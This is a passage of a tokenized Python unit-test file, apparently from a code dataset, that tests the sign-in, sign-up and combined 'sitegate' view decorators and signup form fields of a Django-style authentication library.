"\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "hasattr_", "(_", "response_", "[_", "0_", "]_", ",_", "'", "site", "gate", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "signin", "\\u", "forms", "'_", "in_", "response_", "[_", "0_", "]_", "._", "site", "gate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "signup", "\\u", "forms", "'_", "in_", "response_", "[_", "0_", "]_", "._", "site", "gate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "[_", "1_", "]_", ",_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "[_", "2_", "]_", ",_", "20_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "stack", "ing_", "\\u\\u\\uNL\\u\\u\\u_", "signin", "\\u", "view", "1_", "=_", "signin", "\\u", "view_", "(_", "flow_", "=_", "Classic", "Signin", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "signin", "\\u", "view", "2_", "=_", "signin", "\\u", "view_", "(_", "flow_", "=_", "Mode", "rn", "Signin", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "signin", "\\u", "view", "1_", "(_", "signin", "\\u", "view", "2_", "(_", "lambda_", "req_", ":_", "req_", ")_", ")_", "(_", "self_", "._", "req", "\\u", "factory_", "._", "get_", "(_", "'/", "signin", "/'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "hasattr_", "(_", "response_", ",_", "'", "site", "gate", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "signin", "\\u", "forms", "'_", "in_", "response_", "._", "site", "gate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "signup", "\\u", "forms", "'_", "in_", "response_", "._", "site", "gate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "site", "gate_", "[_", "'", "signin", "\\u", "forms", "'_", "]_", ")_", "==_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dict", "\\u", "keys_", "=_", "list_", "(_", "response_", "._", "site", "gate_", "[_", "'", "signin", "\\u", "forms", "'_", "]_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Instance_", "(_", "response_", "._", "site", "gate_", "[_", "'", "signin", "\\u", "forms", "'_", "]_", "[_", "dict", "\\u", "keys_", "[_", "0_", "]_", "]_", ",_", "Classic", "Signin", "_", "._", "form_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Instance_", "(_", "response_", "._", "site", "gate_", "[_", "'", "signin", "\\u", "forms", "'_", "]_", "[_", "dict", "\\u", "keys_", "[_", "1_", "]_", "]_", ",_", "Mode", "rn", "Signin", "_", "._", "form_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "stack", "ing", " ", "with", " ", "args_", "\\u\\u\\uNL\\u\\u\\u_", "signin", "\\u", "view", "1_", "=_", "signin", "\\u", "view_", "(_", "flow_", "=_", "Classic", "Signin", "_", ",_", "widget", "\\u", "attrs_", "=_", "{_", "'", "attr", "\\u", "name", "1", "'_", ":_", "'", "attr", "\\u", "value", "1", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "signin", "\\u", "view", "2_", "=_", "signin", "\\u", "view_", "(_", "flow_", "=_", "Mode", "rn", "Signin", "_", ",_", "widget", "\\u", "attrs_", "=_", "{_", "'", "attr", "\\u", "name2", "'_", ":_", "'", "attr", "\\u", "value", "2", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "signin", "\\u", "view", "1_", "(_", "signin", "\\u", "view", "2_", "(_", "lambda_", "req_", ":_", "req_", ")_", ")_", "(_", "self_", "._", "req", "\\u", "factory_", "._", "get_", "(_", "'/", "signin", "/'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "hasattr_", "(_", "response_", ",_", "'", "site", "gate", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "field_", "=_", "response_", "._", "site", "gate_", "[_", "'", "signin", "\\u", "forms", "'_", "]_", "[_", "'", "Classic", "Signin", "'_", "]_", "._", "fields_", "._", "get_", "(_", "'", "password", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "In_", "(_", "'", "attr", "\\u", "name", "1", "'_", ",_", "field_", "._", "widget_", "._", "attrs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "field_", "=_", "response_", "._", "site", "gate_", "[_", "'", "signin", "\\u", "forms", "'_", "]_", "[_", "'", "Mode", "rn", "Signin", "'_", "]_", "._", "fields_", "._", "get_", "(_", "'", "password", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "In_", "(_", "'", "attr", "\\u", "name2", "'_", ",_", "field_", "._", "widget_", "._", "attrs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Decorat", "ors", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "signup", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "simple", " ", "decorat", "ion_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "signup", "\\u", "view_", "(_", "lambda_", "req_", ":_", "req_", ")_", "(_", "self_", "._", "req", "\\u", "factory_", "._", "get_", "(_", "'/", "signup", "/'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "hasattr_", "(_", "response_", ",_", "'", "site", "gate", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "signup", "\\u", "forms", "'_", "in_", "response_", "._", "site", "gate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "signin", "\\u", "forms", "'_", "in_", "response_", "._", "site", "gate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "simple", " ", "decorat", "ion", " ", "+", " ", "view", " ", "with", " ", "args_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "signup", "\\u", "view_", "(_", "lambda_", "req_", ",_", "a1_", ",_", "a2_", "=_", "'", "b", "'_", ":_", "(_", "req_", ",_", "a1_", ",_", "a2_", ")_", ")_", "(_", "self_", "._", "req", "\\u", "factory_", "._", "get_", "(_", "'/", "signup", "/'_", ")_", ",_", "10_", ",_", "a2_", "=_", "20_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "hasattr_", "(_", "response_", "[_", "0_", "]_", ",_", "'", "site", "gate", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "signup", "\\u", "forms", "'_", "in_", "response_", "[_", "0_", "]_", "._", "site", "gate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "signin", "\\u", "forms", "'_", "in_", "response_", "[_", "0_", "]_", "._", "site", "gate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "[_", "1_", "]_", ",_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "[_", "2_", "]_", ",_", "20_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "stack", "ing_", "\\u\\u\\uNL\\u\\u\\u_", "signup", "\\u", "view", "1_", "=_", "signup", "\\u", "view_", "(_", "flow_", "=_", "Classic", "Sign", "up_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "signup", "\\u", "view", "2_", "=_", "signup", "\\u", "view_", "(_", "flow_", "=_", "Mode", "rn", "Sign", "up_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "signup", "\\u", "view", "1_", "(_", "signup", "\\u", "view", "2_", "(_", "lambda_", "req_", ":_", "req_", ")_", ")_", "(_", "self_", "._", "req", "\\u", "factory_", "._", "get_", "(_", "'/", "signup", "/'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "hasattr_", "(_", "response_", ",_", "'", "site", "gate", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "signup", "\\u", "forms", "'_", "in_", "response_", "._", "site", "gate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "signin", "\\u", "forms", "'_", "in_", "response_", "._", "site", "gate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "site", "gate_", "[_", "'", "signup", "\\u", "forms", "'_", "]_", ")_", "==_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dict", "\\u", "keys_", "=_", "list_", "(_", "response_", "._", "site", "gate_", "[_", "'", "signup", "\\u", "forms", "'_", "]_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Instance_", "(_", "response_", "._", "site", "gate_", "[_", "'", "signup", "\\u", "forms", "'_", "]_", "[_", "dict", "\\u", "keys_", "[_", "0_", "]_", "]_", ",_", "Classic", "Sign", "up_", "._", "form_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Instance_", "(_", "response_", "._", "site", "gate_", "[_", "'", "signup", "\\u", "forms", "'_", "]_", "[_", "dict", "\\u", "keys_", "[_", "1_", "]_", "]_", ",_", "Mode", "rn", "Sign", "up_", "._", "form_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "stack", "ing", " ", "with", " ", "args_", "\\u\\u\\uNL\\u\\u\\u_", "signup", "\\u", "view", "1_", "=_", "signup", "\\u", "view_", "(_", "flow_", "=_", "Classic", "Sign", "up_", ",_", "widget", "\\u", "attrs_", "=_", "{_", "'", "attr", "\\u", "name", "1", "'_", ":_", "'", "attr", "\\u", "value", "1", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "signup", "\\u", "view", "2_", "=_", "signup", "\\u", "view_", "(_", "flow_", "=_", "Mode", "rn", "Sign", "up_", ",_", "widget", "\\u", "attrs_", "=_", "{_", "'", "attr", "\\u", "name2", "'_", ":_", "'", "attr", "\\u", "value", "2", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "signup", "\\u", "view", "1_", "(_", "signup", "\\u", "view", "2_", "(_", "lambda_", "req_", ":_", "req_", ")_", ")_", "(_", "self_", "._", "req", "\\u", "factory_", "._", "get_", "(_", "'/", "signup", "/'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "hasattr_", "(_", "response_", ",_", "'", "site", "gate", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "field_", "=_", "response_", "._", "site", "gate_", "[_", "'", "signup", "\\u", "forms", "'_", "]_", "[_", "'", "Classic", "Sign", "up", "'_", "]_", "._", "fields_", "._", "get_", "(_", "'", "password", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "In_", "(_", "'", "attr", "\\u", "name", "1", "'_", ",_", "field_", "._", "widget_", "._", "attrs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "field_", "=_", "response_", "._", "site", "gate_", "[_", "'", "signup", "\\u", "forms", "'_", "]_", "[_", "'", "Mode", "rn", "Sign", "up", "'_", "]_", "._", "fields_", "._", "get_", "(_", "'", "password", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "In_", "(_", "'", "attr", "\\u", "name2", "'_", ",_", "field_", "._", "widget_", "._", "attrs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Decorat", "ors", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "signin", "up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "simple", " ", "decorat", "ion_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "signin", "\\u", "view_", "(_", "signup", "\\u", "view_", "(_", "lambda_", "req_", ":_", "req_", ")_", ")_", "(_", "self_", "._", "req", "\\u", "factory_", "._", "get_", "(_", "'/", "entran", "ce", "/'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "hasattr_", "(_", "response_", ",_", "'", "site", "gate", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "signup", "\\u", "forms", "'_", "in_", "response_", "._", "site", "gate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "signin", "\\u", "forms", "'_", "in_", "response_", "._", "site", "gate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "simple", " ", "decorat", "ion", " ", "+", " ", "view", " ", "with", " ", "args_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "signin", "\\u", "view_", "(_", "signup", "\\u", "view_", "(_", "lambda_", "req_", ",_", "a1_", ",_", "a2_", "=_", "'", "b", "'_", ":_", "(_", "req_", ",_", "a1_", ",_", "a2_", ")_", ")_", ")_", "(_", "self_", "._", "req", "\\u", "factory_", "._", "get_", "(_", "'/", "entran", "ce", "/'_", ")_", ",_", "10_", ",_", "a2_", "=_", "20_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "hasattr_", "(_", "response_", "[_", "0_", "]_", ",_", "'", "site", "gate", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "signup", "\\u", "forms", "'_", "in_", "response_", "[_", "0_", "]_", "._", "site", "gate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "signin", "\\u", "forms", "'_", "in_", "response_", "[_", "0_", "]_", "._", "site", "gate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "[_", "1_", "]_", ",_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "[_", "2_", "]_", ",_", "20_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "stack", "ing", " ", "with", " ", "args_", "\\u\\u\\uNL\\u\\u\\u_", "view", "\\u", "signin", "_", "=_", "signin", "\\u", "view_", "(_", "widget", "\\u", "attrs_", "=_", "{_", "'", "attr", "\\u", "name", "1", "'_", ":_", "'", "attr", "\\u", "value", "1", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "view", "\\u", "signup", "_", "=_", "signup", "\\u", "view_", "(_", "widget", "\\u", "attrs_", "=_", "{_", "'", "attr", "\\u", "name2", "'_", ":_", "'", "attr", "\\u", "value", "2", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "view", "\\u", "signin", "_", "(_", "view", "\\u", "signup", "_", "(_", "lambda_", "req_", ",_", "a1_", ",_", "a2_", "=_", "'", "b", "'_", ":_", "(_", "req_", ",_", "a1_", ",_", "a2_", ")_", ")_", ")_", "(_", "self_", "._", "req", "\\u", "factory_", "._", "get_", "(_", "'/", "entran", "ce", "/'_", ")_", ",_", "10_", ",_", "a2_", "=_", "20_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "hasattr_", "(_", "response_", "[_", "0_", "]_", ",_", "'", "site", "gate", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "signup", "\\u", "forms", "'_", "in_", "response_", "[_", "0_", "]_", "._", "site", "gate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "signin", "\\u", "forms", "'_", "in_", "response_", "[_", "0_", "]_", "._", "site", "gate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "[_", "1_", "]_", ",_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "[_", "2_", "]_", ",_", "20_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "field_", "=_", "response_", "[_", "0_", "]_", "._", "site", "gate_", "[_", "'", "signin", "\\u", "forms", "'_", "]_", "[_", "'", "Mode", "rn", "Signin", "'_", "]_", "._", "fields_", "._", "get_", "(_", "'", "password", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "In_", "(_", "'", "attr", "\\u", "name", "1", "'_", ",_", "field_", "._", "widget_", "._", "attrs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "field_", "=_", "response_", "[_", "0_", "]_", "._", "site", "gate_", "[_", "'", "signup", "\\u", "forms", "'_", "]_", "[_", "'", "Mode", "rn", "Sign", "up", "'_", "]_", "._", "fields_", "._", "get_", "(_", "'", "password", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "In_", "(_", "'", "attr", "\\u", "name2", "'_", ",_", "field_", "._", "widget_", "._", "attrs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Decorat", "ors", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "site", "gate_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "logged", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request_", "=_", "self_", "._", "req", "\\u", "factory_", "._", "get_", "(_", "'/", "entran", "ce", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "._", "user_", "=_", "Moc", "k", "User_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "site", "gate", "\\u", "view_", "(_", "lambda_", "req_", ":_", "req_", ")_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Instance_", "(_", "response_", ",_", "Http", "Respons", "e", "Redirect_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "not", " ", "logged", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "simple", " ", "decorat", "ion_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "=_", "self_", "._", "req", "\\u", "factory_", "._", "get_", "(_", "'/", "entran", "ce", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "._", "user_", "=_", "Moc", "k", "User_", "(_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "site", "gate", "\\u", "view_", "(_", "lambda_", "req_", ":_", "req_", ")_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Is", "Instance_", "(_", "response_", ",_", "Http", "Respons", "e", "Redirect_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "hasattr_", "(_", "response_", ",_", "'", "site", "gate", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "signup", "\\u", "forms", "'_", "in_", "response_", "._", "site", "gate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "signin", "\\u", "forms", "'_", "in_", "response_", "._", "site", "gate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "simple", " ", "decorat", "ion", " ", "+", " ", "view", " ", "with", " ", "args_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "=_", "self_", "._", "req", "\\u", "factory_", "._", "get_", "(_", "'/", "entran", "ce", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "._", "user_", "=_", "Moc", "k", "User_", "(_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "site", "gate", "\\u", "view_", "(_", "lambda_", "req_", ",_", "a1_", ",_", "a2_", "=_", "'", "b", "'_", ":_", "(_", "req_", ",_", "a1_", ",_", "a2_", ")_", ")_", "(_", "request_", ",_", "10_", ",_", "a2_", "=_", "20_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Is", "Instance_", "(_", "response_", ",_", "Http", "Respons", "e", "Redirect_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "hasattr_", "(_", "response_", "[_", "0_", "]_", ",_", "'", "site", "gate", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "signup", "\\u", "forms", "'_", "in_", "response_", "[_", "0_", "]_", "._", "site", "gate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "signin", "\\u", "forms", "'_", "in_", "response_", "[_", "0_", "]_", "._", "site", "gate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "[_", "1_", "]_", ",_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "[_", "2_", "]_", ",_", "20_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "parametriz", "ed", " ", "decorat", "ion_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "=_", "self_", "._", "req", "\\u", "factory_", "._", "get_", "(_", "'/", "entran", "ce", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "._", "user_", "=_", "Moc", "k", "User_", "(_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "view", "\\u", "site", "gate_", "=_", "site", "gate", "\\u", "view_", "(_", "widget", "\\u", "attrs_", "=_", "{_", "'", "attr", "\\u", "name", "1", "'_", ":_", "'", "attr", "\\u", "value", "1", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "view", "\\u", "site", "gate_", "(_", "lambda_", "req_", ",_", "a1_", ",_", "a2_", "=_", "'", "b", "'_", ":_", "(_", "req_", ",_", "a1_", ",_", "a2_", ")_", ")_", "(_", "request_", ",_", "10_", ",_", "a2_", "=_", "20_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "hasattr_", "(_", "response_", "[_", "0_", "]_", ",_", "'", "site", "gate", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "field_", "=_", "response_", "[_", "0_", "]_", "._", "site", "gate_", "[_", "'", "signin", "\\u", "forms", "'_", "]_", "[_", "'", "Mode", "rn", "Signin", "'_", "]_", "._", "fields_", "._", "get_", "(_", "'", "password", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "In_", "(_", "'", "attr", "\\u", "name", "1", "'_", ",_", "field_", "._", "widget_", "._", "attrs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "field_", "=_", "response_", "[_", "0_", "]_", "._", "site", "gate_", "[_", "'", "signup", "\\u", "forms", "'_", "]_", "[_", "'", "Mode", "rn", "Sign", "up", "'_", "]_", "._", "fields_", "._", "get_", "(_", "'", "password", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "In_", "(_", "'", "attr", "\\u", "name", "1", "'_", ",_", "field_", "._", "widget_", "._", "attrs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "[_", "1_", "]_", ",_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "[_", "2_", "]_", ",_", "20_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Classic", "Sign", "up", "Form", "s", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "classic", "\\u", "signup", "\\u", "attrs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "Classic", "Sign", "up", "Form_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fields_", "=_", "set_", "(_", "f_", "._", "fields_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "get", "\\u", "user", "name", "\\u", "field_", "(_", ")_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "password", "1", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "password", "2", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Classic", "Sign", "up", "Form", "s", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "simple", "\\u", "classic", "\\u", "signup", "\\u", "attrs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "Simple", "Classic", "Sign", "up", "Form_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fields_", "=_", "set_", "(_", "f_", "._", "fields_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "get", "\\u", "user", "name", "\\u", "field_", "(_", ")_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "password", "1", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "password", "2", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Classic", "Sign", "up", "Form", "s", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "classic", "\\u", "with", "\\u", "email", "\\u", "signup", "\\u", "attrs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "Classic", "With", "Ema", "il", "Sign", "up", "Form_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fields_", "=_", "set_", "(_", "f_", "._", "fields_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "get", "\\u", "user", "name", "\\u", "field_", "(_", ")_", "in_", "fields_", ")_", 